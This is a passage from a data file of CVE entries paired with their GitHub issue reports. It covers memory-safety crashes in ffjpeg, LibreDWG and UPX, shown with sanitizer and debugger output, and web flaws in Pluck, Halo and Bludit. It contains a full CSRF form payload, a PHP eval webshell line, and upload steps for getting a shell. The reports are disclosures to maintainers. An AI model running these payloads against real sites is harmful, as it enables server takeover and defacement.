f2 f2 f2 f2 =>0x100073f397f0: 00 00 f2 f2 00 04 f2 f2 00 00 00[f2]f2 f2 f2 f2 0x100073f39800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100073f39810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100073f39820: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00 0x100073f39830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100073f39840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==4436==ABORTING We could clearly observe the stack overflow in jfif_decode function at 0x4f345e, and the variable yuv_datbuf was overflowing. Lastly, we used GDB to debug this bug, the GDB outputs: Reading symbols from ./ffjpeg...done. gdb-peda$ set args -d poc_stack.fuzz gdb-peda$ b * 0x4f345e Breakpoint 1 at 0x4f345e: file jfif.c, line 513. gdb-peda$ r Starting program: /root/Downloads/fuzz_code/ffjpeg/src/ffjpeg -d poc_stack.fuzz [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x7fffffffe160 --> 0x7ffff6e90510 (<flush_cleanup>: mov rax,QWORD PTR [rip+0x360379] # 0x7ffff71f0890 <run_fp>) RCX: 0xffffffffbff --> 0x0 RDX: 0x0 RSI: 0x7474b8 --> 0xfede00 --> 0x1000100 --> 0x0 RDI: 0x7fffffffdff8 --> 0xb40 ('@\x0b') RBP: 0x7fffffffe3d0 --> 0x7fffffffe4c0 --> 0x50ee40 (<__libc_csu_init>: push r15) RSP: 0x7fffffffded8 --> 0x4f345f (<jfif_decode+8799>: call 0x4b6cc0 <__asan::__asan_report_load8(__sanitizer::uptr)>) RIP: 0xffffffffcd4b6cc0 R8 : 0xfede00 --> 0x1000100 --> 0x0 R9 : 0xffffffffc06 --> 0x0 R10: 0x7fffffffe110 --> 0x3f8000003f800 R11: 0xffffffffc1a --> 0x0 R12: 0x1 R13: 0x1fb R14: 0x0 R15: 0x0 EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0xffffffffcd4b6cc0 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffded8 --> 0x4f345f (<jfif_decode+8799>: call 0x4b6cc0 <__asan::__asan_report_load8(__sanitizer::uptr)>) 0008| 0x7fffffffdee0 --> 0x41b58ab3 0016| 0x7fffffffdee8 --> 0x522e48 ("5 32 128 8 ftab:381 192 16 6 dc:382 224 12 14 yuv_stride:387 256 24 14 yuv_datbuf:389 320 256 6 du:476") 0024| 0x7fffffffdef0 --> 0x4f1200 (<jfif_decode>: push rbp) 0032| 0x7fffffffdef8 --> 0x0 0040| 0x7fffffffdf00 --> 0x6110000002c0 --> 0x2c600000200 --> 0x0 0048| 0x7fffffffdf08 --> 0x611000000400 --> 0x42900000300 --> 0x0 0056| 0x7fffffffdf10 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0xffffffffcd4b6cc0 in ?? () We ensured there is a stack overflow bugs, which will be used to finish a DoS attack. You can reproduce this stack overflow vulnerability by the follow step: ffjpeg -d [PoC_stackoverflow_ffjpeg](https://github.com/yangjiageng/PoC/blob/master/PoC_stackoverflow_ffjpeg)

ffjpeg "jfif_decode" function stack-buffer-overflow vulerability

https://api.github.com/repos/rockcarry/ffjpeg/issues/27/comments

2020-07-02T10:41:13Z

2020-07-27T08:22:45Z

https://github.com/rockcarry/ffjpeg/issues/27

CVE-2020-23852

2021-05-18T15:15:07.847

A heap based buffer overflow vulnerability exists in ffjpeg through 2020-07-02 in the jfif_decode(void *ctxt, BMP *pb) function at ffjpeg/src/jfif.c (line 544 & line 545), which could cause a denial of service by submitting a malicious jpeg image.

https://github.com/rockcarry/ffjpeg/issues/28

github.com

ffjpeg "jfif_decode" function heap-overflow vulnerabilities Description: There are two heap-overflow bugs in jfif_decode(void *ctxt, BMP *pb) function at ffjpeg/src/jfif.c: line 544 & line 545 An attacker can exploit this bug to cause a Denial of Service (DoS) by submitting a malicious jpeg image. We finded the integer pointer array variable yuv_datbuf[] which cannot have bound sanity, so the using of variable yuv_datbuf[] is dangerous. As the issue 27 (https://github.com/rockcarry/ffjpeg/issues/27) showed, the using of yuv_datbuf[] caused security vulnerabilities. We tracked the using of yuv_datbuf, and finded two heap-overflow bugs, at ffjpeg/src/jfif.c: line 544 & line 545 : usrc = yuv_datbuf[2] + uy * yuv_stride[2] + ux; vsrc = yuv_datbuf[1] + vy * yuv_stride[1] + vx; We used asan to recognize these vulnerabilities, the output of asan as follow: ================================================================= ==40953==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000010 at pc 0x0000004f2f0a bp 0x7ffecaf45690 sp 0x7ffecaf45688 READ of size 4 at 0x602000000010 thread T0 #0 0x4f2f09 in jfif_decode (/root/ffjpeg/src/ffjpeg+0x4f2f09) #1 0x4eb545 in main (/root/ffjpeg/src/ffjpeg+0x4eb545) #2 0x7fbe45680b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #3 0x41ac89 in _start (/root/ffjpeg/src/ffjpeg+0x41ac89) 0x602000000011 is located 0 bytes to the right of 1-byte region [0x602000000010,0x602000000011) allocated by thread T0 here: #0 0x4a71a0 in malloc /root/llvm-project/llvm/projects/compiler/lib/asan/asan_malloc_linux.cc:145 #1 0x4f1457 in jfif_decode (/root/ffjpeg/src/ffjpeg+0x4f1457) #2 0x4eb545 in main (/root/ffjpeg/src/ffjpeg+0x4eb545) #3 0x7fbe45680b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-buffer-overflow (/root/ffjpeg/src/ffjpeg+0x4f2f09) in jfif_decode Shadow bytes around the buggy address: 0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c047fff8000: fa fa[01]fa fa fa 01 fa fa fa fa fa fa fa fa fa 0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==40953==ABORTING the asan telled us there is a heap-buffer-overflow on address 0x602000000010 at pc 0x0000004f2f0a bp 0x7ffecaf45690 sp 0x7ffecaf45688 Then we used IDA to locate this triggered bug.  Lastly, we used GDB to debug this bug, the GDB outputs: gdb-peda$ b * 0x4f2f09 Breakpoint 1 at 0x4f2f09 gdb-peda$ r Starting program: /root/ffjpeg/src/ffjpeg -d hh [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x3 RBX: 0x7fffffffdd20 --> 0x4a6e81 (<__interceptor_free(void*)+193>: test r13d,r13d) RCX: 0x602000000001 --> 0x102ffffff000000 RDX: 0xc0400000002 --> 0x0 RSI: 0xffffefcb501 --> 0x0 RDI: 0x602000000010 --> 0xbe RBP: 0x7fffffffe3f0 --> 0x7fffffffe540 --> 0x501c10 (<__libc_csu_init>: push r15) RSP: 0x7fffffffda78 --> 0x4f2f0a (<jfif_decode+11050>: mov rax,QWORD PTR [rbx+0x88]) RIP: 0xffffffffcd4b4f00 R8 : 0x0 R9 : 0x0 R10: 0x7fffffffd1c0 --> 0x4a71a1 (<__interceptor_malloc(__sanitizer::uptr)+257>: test r13d,r13d) R11: 0x2 R12: 0x7fffffffe420 --> 0xdd000000dc --> 0x0 R13: 0x80 R14: 0x10007fff7b50 --> 0xf1f1f1f1 --> 0x0 R15: 0x615000000080 --> 0xdd000000dc --> 0x0 EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0xffffffffcd4b4f00 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffda78 --> 0x4f2f0a (<jfif_decode+11050>: mov rax,QWORD PTR [rbx+0x88]) 0008| 0x7fffffffda80 --> 0x41b58ab3 0016| 0x7fffffffda88 --> 0x5155e8 ("6 32 128 4 ftab 192 16 2 dc 224 12 10 yuv_stride 256 12 10 yuv_height 288 24 10 yuv_datbuf 352 256 2 du") 0024| 0x7fffffffda90 --> 0x4f03e0 (<jfif_decode>: push rbp) 0032| 0x7fffffffda98 --> 0x3a (':') 0040| 0x7fffffffdaa0 --> 0x611000000180 --> 0x58c00000600 --> 0x0 0048| 0x7fffffffdaa8 --> 0x0 0056| 0x7fffffffdab0 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0xffffffffcd4b4f00 in ?? () We ensured there is a heap overflow because of the dangerous using of the int pointer array variable yuv_datbuf This is the analysis of line 544, and the analysis of line 545 is similar, so we do not dump the detail analysis. You can reproduce this heap overflow vulnerability by the follow step: ffjpeg -d [PoC_heapoverflow_line544_ffjpeg](https://github.com/yangjiageng/PoC/blob/master/PoC_heapoverflow_line544_ffjpeg) ffjpeg -d [PoC_heapoverflow_line545_ffjpeg](https://github.com/yangjiageng/PoC/blob/master/PoC_heapoverflow_line545_ffjpeg)

ffjpeg "jfif_decode" function heap-overflow vulnerabilities

https://api.github.com/repos/rockcarry/ffjpeg/issues/28/comments

2020-07-02T11:43:44Z

2020-07-27T08:24:56Z

https://github.com/rockcarry/ffjpeg/issues/28

CVE-2020-20951

2021-05-18T16:15:07.463

In Pluck-4.7.10-dev2 admin background, a remote command execution vulnerability exists when uploading files.

https://github.com/pluck-cms/pluck/issues/84

github.com

This vulnerability applies to php5.2. X  After the installation is successful, go to the management background  Then upload shell.php, It will be changed to shell.php.txt  Then upload shell.php again  Shell.php has not been changed to shell.php.txt  then view shell.php 

Pluck-4.7.10-dev2 admin background exists a remote command execution vulnerability when uploading files

https://api.github.com/repos/pluck-cms/pluck/issues/84/comments

2019-10-21T11:36:30Z

2019-11-01T18:59:31Z

https://github.com/pluck-cms/pluck/issues/84

CVE-2020-23861

2021-05-18T16:15:07.497

A heap-based buffer overflow vulnerability exists in LibreDWG 0.10.1 via the read_system_page function at libredwg-0.10.1/src/decode_r2007.c:666:5, which causes a denial of service by submitting a dwg file.

https://github.com/LibreDWG/libredwg/issues/248

github.com

LibreDWG "read_system_page" function heap overflow vulnerability Description: There is a heap overflow bug in "read_system_page" function at libredwg-0.10.1/src/decode_r2007.c:666:5 An attacker can exploit this bug to cause a Denial of Service (DoS) by submitting a dwg file. This bug is caused by the following dangerous memcpy calling in read_system_page function: line 666 if (size_comp < size_uncomp)     error = decompress_r2007 (data, size_uncomp, pedata, MIN (pedata_size, size_comp));   else     memcpy (data, pedata, size_uncomp);   free (pedata); We used AddressSanitizer instrumented in LibreDWG and triggered this bug, the asan output as follows: ==2593==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000031 at pc 0x0000004e7e12 bp 0x7ffd91a390c0 sp 0x7ffd91a38870 READ of size 96 at 0x602000000031 thread T0 #0 0x4e7e11 in __asan_memcpy /root/Download/llvm-8.0.0.src/projects/compiler-rt-8.0.0.src/lib/asan/asan_interceptors_memintrinsics.cc:23 #1 0x7f131338293e in read_system_page /root/libredwg-0.10.1/src/decode_r2007.c:666:5 #2 0x7f131336bc15 in read_pages_map /root/libredwg-0.10.1/src/decode_r2007.c:1014:10 #3 0x7f131336bc15 in read_r2007_meta_data /root/libredwg-0.10.1/src/decode_r2007.c:1814 #4 0x7f1312f9bc84 in decode_R2007 /root/libredwg-0.10.1/src/decode.c:3016:11 #5 0x7f1312f9bc84 in dwg_decode /root/libredwg-0.10.1/src/decode.c:241 #6 0x7f1312f7922f in dwg_read_file /root/libredwg-0.10.1/src/dwg.c:211:11 #7 0x52c287 in main /root/libredwg-0.10.1/programs/dwg2dxf.c:255:15 #8 0x7f1311da1b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #9 0x41add9 in _start (/root/libredwg-0.10.1/programs/.libs/dwg2dxf+0x41add9)   0x602000000031 is located 0 bytes to the right of 1-byte region [0x602000000030,0x602000000031) allocated by thread T0 here: #0 0x4e93cf in calloc /root/Download/llvm-8.0.0.src/projects/compiler-rt-8.0.0.src/lib/asan/asan_malloc_linux.cc:155 #1 0x7f131337a0a6 in decode_rs /root/libredwg-0.10.1/src/decode_r2007.c:590:34   SUMMARY: AddressSanitizer: heap-buffer-overflow /root/Download/llvm-8.0.0.src/projects/compiler-rt-8.0.0.src/lib/asan/asan_interceptors_memintrinsics.cc:23 in __asan_memcpy Shadow bytes around the buggy address: 0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c047fff8000: fa fa 00 00 fa fa[01]fa fa fa fa fa fa fa fa fa 0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==2593==ABORTING Then, we used GDB to debug this bug, the GDB outputs: GDB //----------------------------------registers----------------------------------- RAX: 0x7ffff2c6a1e0 --> 0x7ffff6fed930 (<read_system_page+976>: dec DWORD PTR [rcx+rcx*4-0x1]) RBX: 0x7f RCX: 0x0 RDX: 0x60 ('\`')\ RSI: 0x602000000070 --> 0x0 RDI: 0x608000000020 --> 0x0 RBP: 0x0 RSP: 0x7fffffffc410 --> 0xffffffff866 --> 0x0 RIP: 0x7ffff6fed93a (<read_system_page+986>: call 0x7ffff6be3460 <__asan_memcpy@plt>) R8 : 0x1c2e6 R9 : 0x2 R10: 0x28 ('(') R11: 0x602000000060 --> 0x2ffffff00000002 R12: 0x602000000070 --> 0x0 R13: 0x608000000080 --> 0x0 R14: 0x60 ('\`') R15: 0x608000000020 --> 0x0 EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) //-------------------------------------code------------------------------------- 0x7ffff6fed931 <read_system_page+977>: mov rdi,r15 0x7ffff6fed934 <read_system_page+980>: mov rsi,r12 0x7ffff6fed937 <read_system_page+983>: mov rdx,r14 => 0x7ffff6fed93a <read_system_page+986>: call 0x7ffff6be3460 <__asan_memcpy@plt> 0x7ffff6fed93f <read_system_page+991>: mov rdi,r12 0x7ffff6fed942 <read_system_page+994>: call 0x7ffff6be25e0 <free@plt> 0x7ffff6fed947 <read_system_page+999>: jmp 0x7ffff6fed99a <read_system_page+1082> 0x7ffff6fed949 <read_system_page+1001>: lea rdi,[rip+0xd9a81c] # 0x7ffff7d8816c Guessed arguments: arg[0]: 0x608000000020 --> 0x0 arg[1]: 0x602000000070 --> 0x0 arg[2]: 0x60 ('\`') //------------------------------------stack------------------------------------- 0000| 0x7fffffffc410 --> 0xffffffff866 --> 0x0 0008| 0x7fffffffc418 --> 0x7fffffffd098 --> 0x2f65f 0016| 0x7fffffffc420 --> 0x7fffffffd090 --> 0x7ffff7e18800 --> 0x313230314341 ('AC1021') 0024| 0x7fffffffc428 --> 0xffffffffa13 --> 0x0 0032| 0x7fffffffc430 --> 0x7f 0040| 0x7fffffffc438 --> 0x60 ('\`') 0048| 0x7fffffffc440 --> 0xffffffffffffff91 0056| 0x7fffffffc448 --> 0x7fffffffcc80 --> 0xf //------------------------------------------------------------------------------ Legend: code, data, rodata, value 0x00007ffff6fed93a 666 memcpy (data, pedata, size_uncomp); gdb-peda$ ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000071 at pc 0x0000004e7e12 bp 0x7fffffffc400 sp 0x7fffffffbbb0 READ of size 96 at 0x602000000071 thread T0 [New process 3499] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". process 3499 is executing new program: /opt/llvm/bin/llvm-symbolizer Error in re-setting breakpoint 2: No symbol table is loaded. Use the "file" command. Warning: Cannot insert breakpoint 1. Cannot access memory at address 0x52c283 We ensured there is a heap overflow vulnerability because of the dangerous using of memcpy function, attacker can use this bug to finish a DoS attack. You can reproduce this heap overflow vulnerability by the follow step: /dwg2dxf -m -b [PoC_libreDWG_heapoverflow_decode_r2007_line666](https://github.com/yangjiageng/PoC/blob/master/PoC_libreDWG_heapoverflow_decode_r2007_line666)

LibreDWG "read_system_page" function heap overflow vulnerability

https://api.github.com/repos/LibreDWG/libredwg/issues/248/comments

2020-07-18T12:19:50Z

2020-07-21T13:02:44Z

https://github.com/LibreDWG/libredwg/issues/248

CVE-2020-24740

2021-05-18T16:15:07.527

An issue was discovered in Pluck 4.7.10-dev2. There is a CSRF vulnerability that can editpage via a /admin.php?action=editpage

https://github.com/pluck-cms/pluck/issues/81

github.com

CSRF POC: ``` <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/pluck/admin.php?action=editpage&page=111" method="POST"> <input type="hidden" name="title" value="evil" /> <input type="hidden" name="seo&#95;name" value="111" /> <input type="hidden" name="content" value="evil" /> <input type="hidden" name="description" value="" /> <input type="hidden" name="keywords" value="" /> <input type="hidden" name="hidden" value="no" /> <input type="hidden" name="sub&#95;page" value="" /> <input type="hidden" name="theme" value="oldstyle" /> <input type="hidden" name="save" value="Save" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` 

An issue was discovered in Pluck 4.7.10-dev2. There is a CSRF vulnerability that can editpage via a /admin.php?action=editpage

https://api.github.com/repos/pluck-cms/pluck/issues/81/comments

2019-10-21T08:14:08Z

2019-11-01T18:57:30Z

https://github.com/pluck-cms/pluck/issues/81

CVE-2020-21345

2021-05-20T17:15:07.517

Cross Site Scripting (XSS) vulnerability in Halo 1.1.3 via post publish components in the manage panel, which lets a remote malicious user execute arbitrary code.

https://github.com/halo-dev/halo/issues/336

github.com

<!-- 如果你不认真勾选下面的内容，我可能会直接关闭你的 Issue。 提问之前，建议先阅读 https://github.com/ruby-china/How-To-Ask-Questions-The-Smart-Way --> **我确定我已经查看了** (标注`[ ]`为`[x]`) - [x] [Halo 使用文档](https://halo.run/docs) - [x] [Halo 论坛](https://bbs.halo.run) - [x] [Github Wiki 常见问题](https://github.com/halo-dev/halo/wiki/4.-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98) - [x] [其他 Issues](https://github.com/halo-dev/halo/issues) ---- **我要申请** (标注`[ ]`为`[x]`) - [x] BUG 反馈 - [ ] 添加新的特性或者功能 - [ ] 请求技术支持 在后台添加博客文章时，代码中没有对插入的内容进行过滤和限制，可以插入XSS语句，前台用户访问便可以触发XSS，存在安全风险。   在后台上传头像时，抓取上传文件的数据包，修改文件后缀，后端代码（halo/blob/master/src/main/java/run/halo/app/service/impl/AttachmentServiceImpl.java）没有限制，可以上传任意后缀的文件，导致存在安全风险。  

后台添加文章XSS，上传头像处可以上传任意文件

https://api.github.com/repos/halo-dev/halo/issues/336/comments

2019-10-15T13:56:16Z

2019-10-17T12:28:28Z

https://github.com/halo-dev/halo/issues/336

CVE-2020-23765

2021-05-21T18:15:07.893

A file upload vulnerability was discovered in the file path /bl-plugins/backup/plugin.php on Bludit version 3.12.0. If an attacker is able to gain Administrator rights they will be able to use unsafe plugins to upload a backup file and control the server.

https://github.com/bludit/bludit/issues/1218

github.com

### Describe your problem A file upload vulnerability was discovered in Bludit V3.12.0 Hackers need administrator rights. Hacker can use a backup file to control the server. ### Steps to reproduce the problem 1. Download the latest version of bludit from GitHub. 2. Using burpsuite when uploading logo in the background. Change picture content to PHP code `<?php eval($_POST[cmd]); ?>`  3. Enable backup plugin.Generate and download a backup file, modify the extension of logo file directly in the zip file. If you unzip the backup to modify it, the upload will be blocked by WAF.    4. Access _http://127.0.0.1/bl-content/uploads/BLUDIT.php_ to get the getshell  Vulnerability in /bl-plugins/backup/plugin.php ``` public function uploadBackup($backup) { global $L; // Check File Type if ($backup["type"] !== "application/zip" && $backup["type"] !== "application/x-zip-compressed") { return $this->response(415, $L->get("The passed file is not a valid ZIP Archive.")); } // Check File Extension if (stripos($backup["name"], ".zip") !== (strlen($backup["name"]) - 4)) { return $this->response(415, $L->get("The passed file does not end with .zip.")); } // Check ZIP extension if(!$this->zip) { return $this->response(400, $L->get("The passed file could not be validated.")); } // Validate ZIP File $zip = new ZipArchive(); $zip->open($backup["tmp_name"]); if($zip->addEmptyDir("databases") || $zip->addEmptyDir("pages") || $zip->addEmptyDir("uploads")) { $zip->close(); return $this->response(415, $L->get("The passed file is not a valid backup archive.")); } $zip->close(); // File Name $name = $backup["name"]; $count = 0; while (file_exists($this->workspace() . $name)) { $name = substr($backup["name"], 0, -4) . "." . ++$count . ".zip"; } // Move File to Backup Directory Filesystem::mv($backup["tmp_name"], $this->workspace() . $name); return $this->response(200, $L->get("The backup file could be uploaded successfully.")); } } ``` We can check the image content uploaded by users. Or just delete the backup module ### Bludit version V3.12.0 ### PHP version PHP7.3.9nts

Bludit V3.12.0 -- Admin File Upload vulnerability

https://api.github.com/repos/bludit/bludit/issues/1218/comments

2020-06-27T17:44:40Z

2020-08-25T05:41:08Z

https://github.com/bludit/bludit/issues/1218

CVE-2021-30500

2021-05-27T00:15:08.483

Null pointer dereference was found in upx PackLinuxElf::canUnpack() in p_lx_elf.cpp,in version UPX 4.0.0. That allow attackers to execute arbitrary code and cause a denial of service via a crafted file.

https://github.com/upx/upx/issues/485

github.com

<!--- IF YOU REMOVE THIS TEMPLATE WE WILL CLOSE YOUR ISSUE WITHOUT RESPONSE. Just read it and fill in the details we're asking, it saves so much of our time. Thanks! --> ## What's the problem (or question)? Null pointer dereference was discovered in upx in the latest commit of the devel branch. [2638bee] During the pointer 'p' points to 0x0 in func get_ne32(). The issue can be triggered by different places, which can cause a denial of service. ASAN reports: ``` File size Ratio Format Name -------------------- ------ ----------- ----------- p_lx_elf.cpp:2406:54: runtime error: member access within null pointer of type 'const Elf64_Phdr' (aka 'const Phdr<ElfITypes<LE16, LE32, LE64, LE64, LE64>>') SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior p_lx_elf.cpp:2406:54 in AddressSanitizer:DEADLYSIGNAL ================================================================= ==3546154==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000082a541 bp 0x7fffe268e150 sp 0x7fffe268e140 T0) ==3546154==The signal is caused by a READ memory access. ==3546154==Hint: address points to the zero page. #0 0x82a541 in get_ne32(void const*) /home/upx/src/./bele.h:48:5 #1 0x82a541 in get_le32(void const*) /home/upx/src/./bele.h:136:50 #2 0x82a541 in N_BELE_RTP::LEPolicy::get32(void const*) const /home/upx/src/./bele_policy.h:168:48 #3 0x58717f in PackLinuxElf64::canUnpack() /home/upx/src/p_lx_elf.cpp:2406:38 #4 0x79c0e1 in try_unpack(Packer*, void*) /home/upx/src/packmast.cpp:114:20 #5 0x7955d2 in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /home/upx/src/packmast.cpp:194:9 #6 0x79bdda in PackMaster::getUnpacker(InputFile*) /home/upx/src/packmast.cpp:248:18 #7 0x79c768 in PackMaster::unpack(OutputFile*) /home/upx/src/packmast.cpp:266:9 #8 0x82bd8c in do_one_file(char const*, char*) /home/upx/src/work.cpp:157:12 #9 0x82d684 in do_files(int, int, char**) /home/upx/src/work.cpp:269:13 #10 0x50e805 in upx_main(int, char**) /home/upx/src/main.cpp:1516:9 #11 0x510e85 in main /home/upx/src/main.cpp:1584:13 #12 0x7fbe9660a0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #13 0x41d93d in _start (/home/upx/upx.out+0x41d93d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/upx/src/./bele.h:48:5 in get_ne32(void const*) ==3546154==ABORTING ``` debug info ``` ── source:./bele.h+48 ──── 43 return v; 44 } 45 46 __acc_static_forceinline unsigned get_ne32(const void *p) { 47 upx_uint32_t v = 0; // p=0x00007fffffff9720 → 0x0000000000000000 → 48 upx_memcpy_inline(&v, p, sizeof(v)); 49 return v; 50 } 51 52 __acc_static_forceinline upx_uint64_t get_ne64(const void *p) { 53 upx_uint64_t v = 0; gef➤ bt [#0] 0x4ff4cf → get_ne32(p=0x0) [#1] 0x4ff4cf → get_le32(p=0x0) [#2] 0xa1417c → N_BELE_RTP::LEPolicy::get32(this=0x1704740 <N_BELE_RTP::le_policy>, p=0x0) [#3] 0x69bdf6 → Packer::get_te32(this=0x61b000000080, p=0x0) [#4] 0x60123b → PackLinuxElf64::canUnpack(this=0x61b000000080) [#5] 0x942adb → try_unpack(p=0x61b000000080, user=0x7fffffffbe10) [#6] 0x93856c → PackMaster::visitAllPackers(func=0x9425c0 <try_unpack(Packer*, void*)>, f=0x7fffffffbe10, o=0x7fffffffc4c8, user=0x7fffffffbe10) [#7] 0x942428 → PackMaster::getUnpacker(f=0x7fffffffbe10) [#8] 0x94359b → PackMaster::unpack(this=0x7fffffffc4b0, fo=0x7fffffffbf20) [#9] 0xa16d11 → do_one_file(iname=0x7fffffffdf7d "poc") gef➤ p *p Attempt to dereference a generic pointer. gef➤ p p $1 = (const void *) 0x0 ``` ## What should have happened? Decompress a crafted/suspicious file. ## Do you have an idea for a solution? This bug is coursed by `upx_memcpy_inline(&v, p, sizeof(v));` , the pointer isn't sanitized. Strengthen the sanitize of all pointer used in upx_memcpy_inline may helpful reduce the . ## How can we reproduce the issue? <!--- Provide unambiguous set of steps to reproduce this bug. Include code to reproduce, if relevant --> 1. compile upx with address-sanitize 2. execute cmd upx.out -d $PoC poc zipped [null_pointer_01_get32.zip](https://github.com/upx/upx/files/6268545/null_pointer_01_get32.zip) ## Please tell us details about your environment. <!--- Include as many relevant details about the environment you experienced the bug in --> * UPX version used (`upx --version`): ``` ./upx.out --version upx 4.0.0-git-2638bee3c0f7+ UCL data compression library 1.03 zlib data compression library 1.2.11 LZMA SDK version 4.43 ``` * Host Operating System and version: - OS: Ubuntu 20.04.2 LTS x86_64 * Host CPU architecture: - CPU: Intel i5-4590 (4) @ 3.700GHz * Target Operating System and version: same as Host * Target CPU architecture: same as Host reporter: chiba of Topsec alphalab

PackLinuxElf::canUnpack did not check for ELF input

https://api.github.com/repos/upx/upx/issues/485/comments

2021-04-07T02:45:58Z

2021-04-23T06:55:47Z

https://github.com/upx/upx/issues/485

CVE-2021-30501

2021-05-27T00:15:08.527

An assertion abort was found in upx MemBuffer::alloc() in mem.cpp, in version UPX 4.0.0. The flow allows attackers to cause a denial of service (abort) via a crafted file.

https://github.com/upx/upx/issues/486

github.com

